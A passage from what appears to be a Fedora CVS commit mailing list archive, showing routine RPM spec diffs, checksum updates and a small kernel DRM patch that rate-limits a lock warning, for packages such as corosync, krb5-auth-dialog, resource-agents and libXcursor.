@@ -53,6 +54,7 @@ mkdir -p $RPM_BUILD_ROOT/etc
 mkdir -p $RPM_BUILD_ROOT/etc/modprobe.d
 install -m 644 %{SOURCE2} $RPM_BUILD_ROOT/etc/modprobe.d/dist.conf
 install -m 644 %{SOURCE5} $RPM_BUILD_ROOT/etc/modprobe.d/dist-oss.conf
+install -m 644 %{SOURCE6} $RPM_BUILD_ROOT/etc/modprobe.d/dist-alsa.conf
 install -m 755 %{SOURCE3} $RPM_BUILD_ROOT/sbin/weak-modules
 
 mkdir -p $RPM_BUILD_ROOT/etc/depmod.d
@@ -87,6 +89,10 @@ fi
 %ghost %config(noreplace) %verify(not md5 size mtime) /etc/modprobe.d/local.conf
 
 %changelog
+* Wed Oct 21 2009 Jon Masters <jcm at jonmasters.org> - 3.11.1-1
+- Rebuild with latest upstream. Add a patch for sequencer handling.
+- Resolves: #505421.
+
 * Thu Oct  1 2009 Jon Masters <jcm at jonmasters.org> - 3.10-1
 - Rebuild with latest upstream. Add a patch for "path" options.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	1 Oct 2009 23:39:46 -0000	1.25
+++ sources	21 Oct 2009 04:44:44 -0000	1.26
@@ -1,2 +1,2 @@
-fcde0344ad07c4ae2ae6b40918fd092d  module-init-tools-3.10.tar.bz2
-973178e2969ac5354196bd5c2ff68ebe  module-init-tools-3.10.tar.bz2.sign
+28dfcb9e24cdbeb12b99ac1eb8af7dea  module-init-tools-3.11.1.tar.bz2
+e926497dbec91b7cc39bb89f75f90352  module-init-tools-3.11.1.tar.bz2.sign


--- module-init-tools-3.10-multi_moddirs.patch DELETED ---



From fabbione at fedoraproject.org  Wed Oct 21 05:00:41 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 05:00:41 +0000 (UTC)
Subject: rpms/corosync/devel .cvsignore, 1.11, 1.12 corosync.spec, 1.35,
	1.36 sources, 1.13, 1.14
Message-ID: <20091021050041.7CF5011C0266@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20037

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes a few severe bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	25 Sep 2009 09:52:16 -0000	1.11
+++ .cvsignore	21 Oct 2009 05:00:40 -0000	1.12
@@ -1 +1 @@
-corosync-1.1.0.tar.gz
+corosync-1.1.1.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/devel/corosync.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- corosync.spec	25 Sep 2009 09:52:16 -0000	1.35
+++ corosync.spec	21 Oct 2009 05:00:41 -0000	1.36
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.0
+Version: 1.1.1
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
+- New upstream release
+
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
 - New upstream release
 - spec file updates:


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	25 Sep 2009 09:52:16 -0000	1.13
+++ sources	21 Oct 2009 05:00:41 -0000	1.14
@@ -1 +1 @@
-f1ae40281356446d1af31a75068ec3d0  corosync-1.1.0.tar.gz
+148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 05:02:32 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 05:02:32 +0000 (UTC)
Subject: rpms/corosync/F-12 .cvsignore, 1.11, 1.12 corosync.spec, 1.35,
	1.36 sources, 1.13, 1.14
Message-ID: <20091021050232.3BE8711C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20603

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes a few severe bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	25 Sep 2009 09:52:16 -0000	1.11
+++ .cvsignore	21 Oct 2009 05:02:29 -0000	1.12
@@ -1 +1 @@
-corosync-1.1.0.tar.gz
+corosync-1.1.1.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-12/corosync.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- corosync.spec	25 Sep 2009 09:52:16 -0000	1.35
+++ corosync.spec	21 Oct 2009 05:02:30 -0000	1.36
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.0
+Version: 1.1.1
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
+- New upstream release
+
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
 - New upstream release
 - spec file updates:


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	25 Sep 2009 09:52:16 -0000	1.13
+++ sources	21 Oct 2009 05:02:30 -0000	1.14
@@ -1 +1 @@
-f1ae40281356446d1af31a75068ec3d0  corosync-1.1.0.tar.gz
+148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 05:03:34 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 05:03:34 +0000 (UTC)
Subject: rpms/corosync/F-11 .cvsignore, 1.6, 1.7 corosync.spec, 1.26,
	1.27 sources, 1.7, 1.8
Message-ID: <20091021050334.6FB3611C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21003

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes few severe bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	9 Oct 2009 05:11:17 -0000	1.6
+++ .cvsignore	21 Oct 2009 05:03:34 -0000	1.7
@@ -1 +1 @@
-corosync-1.1.0.tar.gz
+corosync-1.1.1.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/corosync.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- corosync.spec	9 Oct 2009 05:11:17 -0000	1.26
+++ corosync.spec	21 Oct 2009 05:03:34 -0000	1.27
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.1.0
+Version: 1.1.1
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -208,6 +208,9 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
+- New upstream release
+
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
 - New upstream release
 - spec file updates:


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	9 Oct 2009 05:11:17 -0000	1.7
+++ sources	21 Oct 2009 05:03:34 -0000	1.8
@@ -1 +1 @@
-f1ae40281356446d1af31a75068ec3d0  corosync-1.1.0.tar.gz
+148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 05:26:01 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 05:26:01 +0000 (UTC)
Subject: rpms/corosync/F-10 .cvsignore, 1.2, 1.3 corosync.spec, 1.4,
	1.5 sources, 1.3, 1.4
Message-ID: <20091021052601.C0BD211C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28597

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes few severe bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2008 06:16:38 -0000	1.2
+++ .cvsignore	21 Oct 2009 05:25:59 -0000	1.3
@@ -1 +1 @@
-corosync-0.92.tar.gz
+corosync-1.1.1.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-10/corosync.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- corosync.spec	31 Jul 2009 08:17:19 -0000	1.4
+++ corosync.spec	21 Oct 2009 05:25:59 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.0.0
+Version: 1.1.1
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -24,6 +24,7 @@ Conflicts: openais <= 0.89, openais-deve
 BuildRequires: autoconf automake
 %endif
 BuildRequires: nss-devel
+BuildRequires: libibverbs-devel librdmacm-devel
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -34,11 +35,13 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 ./autogen.sh
 %endif
 
-%{_configure}	CFLAGS="$(echo '%{optflags}')" \
-		--prefix=%{_prefix} \
-		--sysconfdir=%{_sysconfdir} \
-		--localstatedir=%{_localstatedir} \
-		--libdir=%{_libdir}
+export ibverbs_CFLAGS=-I/usr/include/infiniband \
+export ibverbs_LIBS=-libverbs \
+export rdmacm_CFLAGS=-I/usr/include/rdma \
+export rdmacm_LIBS=-lrdmacm \
+%{configure} \
+	--enable-nss \
+	--enable-rdma
 
 %build
 make %{_smp_mflags}
@@ -84,6 +87,8 @@ fi
 %{_sbindir}/corosync-cfgtool
 %{_sbindir}/corosync-fplay
 %{_sbindir}/corosync-pload
+%{_sbindir}/corosync-cpgtool
+%{_sbindir}/corosync-quorumtool
 %dir %{_sysconfdir}/corosync
 %dir %{_sysconfdir}/corosync/uidgid.d
 %config(noreplace) %{_sysconfdir}/corosync/corosync.conf.example
@@ -203,12 +208,31 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
-* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.1-1
+- New upstream release
+
+* Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
+- New upstream release
+- spec file updates:
+  * enable IB support
+  * explicitly define built-in features at configure time
+
+* Tue Sep 22 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.1-1
 - New upstream release
 - spec file updates:
+  * use proper configure macro
+
+* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-3
+- spec file updates:
   * more consistent use of macros across the board
   * fix directory ownership
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
+- New upstream release
+
 * Thu Jul  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.100-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	31 Jul 2009 08:17:19 -0000	1.3
+++ sources	21 Oct 2009 05:25:59 -0000	1.4
@@ -1 +1 @@
-257f5509f3da951ba84b596fedf42185  corosync-1.0.0.tar.gz
+148c0690d4734bae819504534d6decbe  corosync-1.1.1.tar.gz



From kyle at fedoraproject.org  Wed Oct 21 05:53:45 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Wed, 21 Oct 2009 05:53:45 +0000 (UTC)
Subject: rpms/kernel/F-11 shut-up-LOCK_TEST_WITH_RETURN.patch, NONE,
	1.1 kernel.spec, 1.1770, 1.1771
Message-ID: <20091021055346.1484111C00E8@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4142

Modified Files:
	kernel.spec 
Added Files:
	shut-up-LOCK_TEST_WITH_RETURN.patch 
Log Message:
* Wed Oct 21 2009 Kyle McMartin <kyle at redhat.com>
- shut-up-LOCK_TEST_WITH_RETURN.patch: sort out #445331... or paper bag
  over it for now until the lock warnings can be killed.


shut-up-LOCK_TEST_WITH_RETURN.patch:
 drmP.h |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE shut-up-LOCK_TEST_WITH_RETURN.patch ---
--- a/include/drm/drmP.h~	2009-10-21 00:07:36.000000000 -0400
+++ b/include/drm/drmP.h	2009-10-21 00:08:22.000000000 -0400
@@ -255,9 +255,10 @@
 do {									\
 	if (!_DRM_LOCK_IS_HELD(file_priv->master->lock.hw_lock->lock) ||		\
 	    file_priv->master->lock.file_priv != file_priv)	{			\
-		DRM_ERROR( "%s called without lock held, held  %d owner %p %p\n",\
-			   __func__, _DRM_LOCK_IS_HELD(file_priv->master->lock.hw_lock->lock),\
-			   file_priv->master->lock.file_priv, file_priv);		\
+		if (printk_ratelimit())							\
+			DRM_ERROR( "%s called without lock held, held  %d owner %p %p\n",\
+				   __func__, _DRM_LOCK_IS_HELD(file_priv->master->lock.hw_lock->lock),\
+				   file_priv->master->lock.file_priv, file_priv);		\
 		return -EINVAL;						\
 	}								\
 } while (0)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1770
retrieving revision 1.1771
diff -u -p -r1.1770 -r1.1771
--- kernel.spec	19 Oct 2009 16:19:42 -0000	1.1770
+++ kernel.spec	21 Oct 2009 05:53:43 -0000	1.1771
@@ -687,6 +687,7 @@ Patch1822: drm-dont-frob-i2c.patch
 Patch1824: drm-radeon-cs-oops-fix.patch
 Patch1825: drm-pnp-add-resource-range-checker.patch
 Patch1826: drm-i915-enable-mchbar.patch
+Patch1827: shut-up-LOCK_TEST_WITH_RETURN.patch
 
 # kludge to make ich9 e1000 work
 Patch2000: linux-2.6-e1000-ich9.patch
@@ -1430,6 +1431,7 @@ ApplyPatch drm-dont-frob-i2c.patch
 ApplyPatch drm-radeon-cs-oops-fix.patch
 ApplyPatch drm-pnp-add-resource-range-checker.patch
 ApplyPatch drm-i915-enable-mchbar.patch
+ApplyPatch shut-up-LOCK_TEST_WITH_RETURN.patch
 
 # linux1394 git patches
 #ApplyPatch linux-2.6-firewire-git-update.patch
@@ -2122,6 +2124,10 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 21 2009 Kyle McMartin <kyle at redhat.com>
+- shut-up-LOCK_TEST_WITH_RETURN.patch: sort out #445331... or paper bag
+  over it for now until the lock warnings can be killed.
+
 * Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
 - af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
   rhbz#529626 local DoS.



From mcepl at fedoraproject.org  Wed Oct 21 06:56:27 2009
From: mcepl at fedoraproject.org (Matej Cepl)
Date: Wed, 21 Oct 2009 06:56:27 +0000 (UTC)
Subject: rpms/krb5-auth-dialog/devel .cvsignore, 1.12,
	1.13 krb5-auth-dialog.spec, 1.40, 1.41 sources, 1.12,
	1.13 duplicate-id.patch, 1.1, NONE
Message-ID: <20091021065628.7007011C00E8@cvs1.fedora.phx.redhat.com>

Author: mcepl

Update of /cvs/pkgs/rpms/krb5-auth-dialog/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25985

Modified Files:
	.cvsignore krb5-auth-dialog.spec sources 
Removed Files:
	duplicate-id.patch 
Log Message:
New upstream release (fixes #530001)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	29 Aug 2009 16:41:53 -0000	1.12
+++ .cvsignore	21 Oct 2009 06:56:20 -0000	1.13
@@ -1 +1 @@
-krb5-auth-dialog-0.12.tar.bz2
+krb5-auth-dialog-0.13.tar.bz2


Index: krb5-auth-dialog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/devel/krb5-auth-dialog.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- krb5-auth-dialog.spec	25 Sep 2009 13:13:00 -0000	1.40
+++ krb5-auth-dialog.spec	21 Oct 2009 06:56:21 -0000	1.41
@@ -5,8 +5,8 @@
 
 Summary: Kerberos 5 authentication dialog
 Name: krb5-auth-dialog
-Version: 0.12
-Release: 2%{?dist}
+Version: 0.13
+Release: 1%{?dist}
 License: GPLv2+
 Group: User Interface/X
 URL: https://honk.sigxcpu.org/piki/projects/krb5-auth-dialog/
@@ -28,16 +28,12 @@ Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=596306
-Patch0: duplicate-id.patch
-
 %description
 This package contains a dialog that warns the user when their Kerberos
 tickets are about to expire and lets them renew them.
 
 %prep
 %setup -q
-%patch0 -p1 -b .duplicate-id
 
 %build
 %configure
@@ -86,6 +82,9 @@ if [ "$1" -eq 0 ]; then
 fi
 
 %changelog
+* Wed Oct 21 2009 Mat?j Cepl <mcepl at redhat.com> - 0.13-1
+- New upstream release (fixes #530001)
+
 * Fri Sep 25 2009 Matthias Clasen <mclasen at redhat.com> - 0.12-2
 - Fix the preferences dialog
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	29 Aug 2009 16:41:54 -0000	1.12
+++ sources	21 Oct 2009 06:56:21 -0000	1.13
@@ -1 +1 @@
-879ecb6cbd59b13bf371b8b849797a26  krb5-auth-dialog-0.12.tar.bz2
+b872f55a79dcf7869aacf6edaabcc2bc  krb5-auth-dialog-0.13.tar.bz2


--- duplicate-id.patch DELETED ---



From mcepl at fedoraproject.org  Wed Oct 21 07:00:21 2009
From: mcepl at fedoraproject.org (Matej Cepl)
Date: Wed, 21 Oct 2009 07:00:21 +0000 (UTC)
Subject: rpms/krb5-auth-dialog/F-12 .cvsignore, 1.12,
	1.13 krb5-auth-dialog.spec, 1.40, 1.41 sources, 1.12,
	1.13 duplicate-id.patch, 1.1, NONE
Message-ID: <20091021070021.1A40B11C02A4@cvs1.fedora.phx.redhat.com>

Author: mcepl

Update of /cvs/pkgs/rpms/krb5-auth-dialog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28367

Modified Files:
	.cvsignore krb5-auth-dialog.spec sources 
Removed Files:
	duplicate-id.patch 
Log Message:
New upstream release (fixes #530001)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	29 Aug 2009 16:41:53 -0000	1.12
+++ .cvsignore	21 Oct 2009 07:00:20 -0000	1.13
@@ -1 +1 @@
-krb5-auth-dialog-0.12.tar.bz2
+krb5-auth-dialog-0.13.tar.bz2


Index: krb5-auth-dialog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/F-12/krb5-auth-dialog.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- krb5-auth-dialog.spec	25 Sep 2009 13:13:00 -0000	1.40
+++ krb5-auth-dialog.spec	21 Oct 2009 07:00:20 -0000	1.41
@@ -5,8 +5,8 @@
 
 Summary: Kerberos 5 authentication dialog
 Name: krb5-auth-dialog
-Version: 0.12
-Release: 2%{?dist}
+Version: 0.13
+Release: 1%{?dist}
 License: GPLv2+
 Group: User Interface/X
 URL: https://honk.sigxcpu.org/piki/projects/krb5-auth-dialog/
@@ -28,16 +28,12 @@ Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=596306
-Patch0: duplicate-id.patch
-
 %description
 This package contains a dialog that warns the user when their Kerberos
 tickets are about to expire and lets them renew them.
 
 %prep
 %setup -q
-%patch0 -p1 -b .duplicate-id
 
 %build
 %configure
@@ -86,6 +82,9 @@ if [ "$1" -eq 0 ]; then
 fi
 
 %changelog
+* Wed Oct 21 2009 Mat?j Cepl <mcepl at redhat.com> - 0.13-1
+- New upstream release (fixes #530001)
+
 * Fri Sep 25 2009 Matthias Clasen <mclasen at redhat.com> - 0.12-2
 - Fix the preferences dialog
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	29 Aug 2009 16:41:54 -0000	1.12
+++ sources	21 Oct 2009 07:00:20 -0000	1.13
@@ -1 +1 @@
-879ecb6cbd59b13bf371b8b849797a26  krb5-auth-dialog-0.12.tar.bz2
+b872f55a79dcf7869aacf6edaabcc2bc  krb5-auth-dialog-0.13.tar.bz2


--- duplicate-id.patch DELETED ---



From fabbione at fedoraproject.org  Wed Oct 21 07:14:06 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 07:14:06 +0000 (UTC)
Subject: rpms/resource-agents/devel .cvsignore, 1.15,
	1.16 resource-agents.spec, 1.16, 1.17 sources, 1.15, 1.16
Message-ID: <20091021071406.50FE311C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/resource-agents/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32655

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
Update pacemaker resources from upstream



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	25 Sep 2009 10:37:43 -0000	1.15
+++ .cvsignore	21 Oct 2009 07:14:04 -0000	1.16
@@ -1,2 +1,2 @@
+099c0e5d80db.tar.bz2
 resource-agents-3.0.3.tar.gz
-2198dc90bec4.tar.bz2


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/resource-agents.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- resource-agents.spec	25 Sep 2009 10:37:43 -0000	1.16
+++ resource-agents.spec	21 Oct 2009 07:14:04 -0000	1.17
@@ -20,12 +20,12 @@
 # Invoking 'hg archive' wont but you can add one with:
 #  hg archive -t tgz -p "Cluster-Resource-Agents-" -r $altversion $altversion.tar.gz
 %define altprefix Cluster-Resource-Agents-
-%define altversion 2198dc90bec4
+%define altversion 099c0e5d80db
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
 Version: 3.0.3
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -138,6 +138,9 @@ rm -rf %{buildroot}
 %dir %{_datadir}/resource-agents
 %doc %{_datadir}/resource-agents/ra-api-1.dtd
 
+%dir %{_sysconfdir}/ha.d
+%{_sysconfdir}/ha.d/shellfuncs
+
 %dir %{_libdir}/heartbeat
 %{_libdir}/heartbeat/findif
 %{_libdir}/heartbeat/send_arp  
@@ -155,6 +158,24 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
+* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.3-3
+- Update Pacameker agents to upstream version: 099c0e5d80db
+  + Add the ha_parameter function back into .ocf-shellfuncs.
+  + Bug bnc#534803 - Provide a default for MAILCMD
+  + Fix use of undefined macro @HA_NOARCHDATAHBDIR@
+  + High (LF 2138): IPsrcaddr: replace 0/0 with proper ip prefix (thanks to Michael Ricordeau and Michael Schwartzkopff)
+  + Import shellfuncs from heartbeat as badly written RAs use it
+  + Medium (LF 2173): nfsserver: exit properly in nfsserver_validate
+  + Medium: RA: Filesystem: implement monitor operation
+  + Medium: RA: VirtualDomain: loop on status if libvirtd is unreachable
+  + Medium: RA: VirtualDomain: loop on status if libvirtd is unreachable (addendum)
+  + Medium: RA: iSCSILogicalUnit: use a 16-byte default SCSI ID
+  + Medium: RA: iSCSITarget: be more persistent deleting targets on stop
+  + Medium: RA: portblock: add per-IP filtering capability
+  + Medium: mysql-proxy: log_level and keepalive parameters
+  + Medium: oracle: drop spurious output from sqlplus
+  + RA: Filesystem: allow configuring smbfs mounts as clones
+
 * Wed Sep 23 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New rgmanager resource agents upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	25 Sep 2009 10:37:43 -0000	1.15
+++ sources	21 Oct 2009 07:14:04 -0000	1.16
@@ -1,2 +1,2 @@
+98088230632e65c63022923ae4a835f3  099c0e5d80db.tar.bz2
 91110701087ffc915971231b392180d0  resource-agents-3.0.3.tar.gz
-af99c03587de9d314dc1b47b3ea9f6aa  2198dc90bec4.tar.bz2



From paragn at fedoraproject.org  Wed Oct 21 09:00:25 2009
From: paragn at fedoraproject.org (paragn)
Date: Wed, 21 Oct 2009 09:00:25 +0000 (UTC)
Subject: rpms/libXcursor/devel libXcursor.spec,1.28,1.29
Message-ID: <20091021090025.A621211C04BA@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXcursor/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31742

Modified Files:
	libXcursor.spec 
Log Message:
* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 1.1.10-3
- Merge-Review #226066
- make is not verbose
- preserve timestamp of index.theme




Index: libXcursor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXcursor/devel/libXcursor.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libXcursor.spec	8 Oct 2009 10:33:41 -0000	1.28
+++ libXcursor.spec	21 Oct 2009 09:00:23 -0000	1.29
@@ -1,7 +1,7 @@
 Summary: Cursor management library 
 Name: libXcursor
 Version: 1.1.10
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -34,20 +34,20 @@ libXcursor development package.
 
 %prep
 %setup -q
-tr -d '\r' < COPYING > COPYING.new
-iconv -f ISO-8859-2 -t UTF-8 COPYING.new > COPYING
-
+iconv --from=ISO-8859-2 --to=UTF-8 COPYING > COPYING.new && \
+touch -r COPYING COPYING.new && \
+mv COPYING.new COPYING
 
 # Disable static library creation by default.
 %define with_static 0
 
 %build
-#export CFLAGS="$RPM_OPT_FLAGS -DICONDIR=\"/usr/share/icons\""
+#export CFLAGS="$RPM_OPT_FLAGS -DICONDIR=\"%{_datadir}/icons\""
 %configure \
 %if ! %{with_static}
-	--disable-static
+ --disable-static
 %endif
-make %{?_smp_mflags}
+make V=1 %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -55,7 +55,7 @@ rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
 
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/default
-install -m 644 %{SOURCE1} $RPM_BUILD_ROOT%{_datadir}/icons/default/index.theme
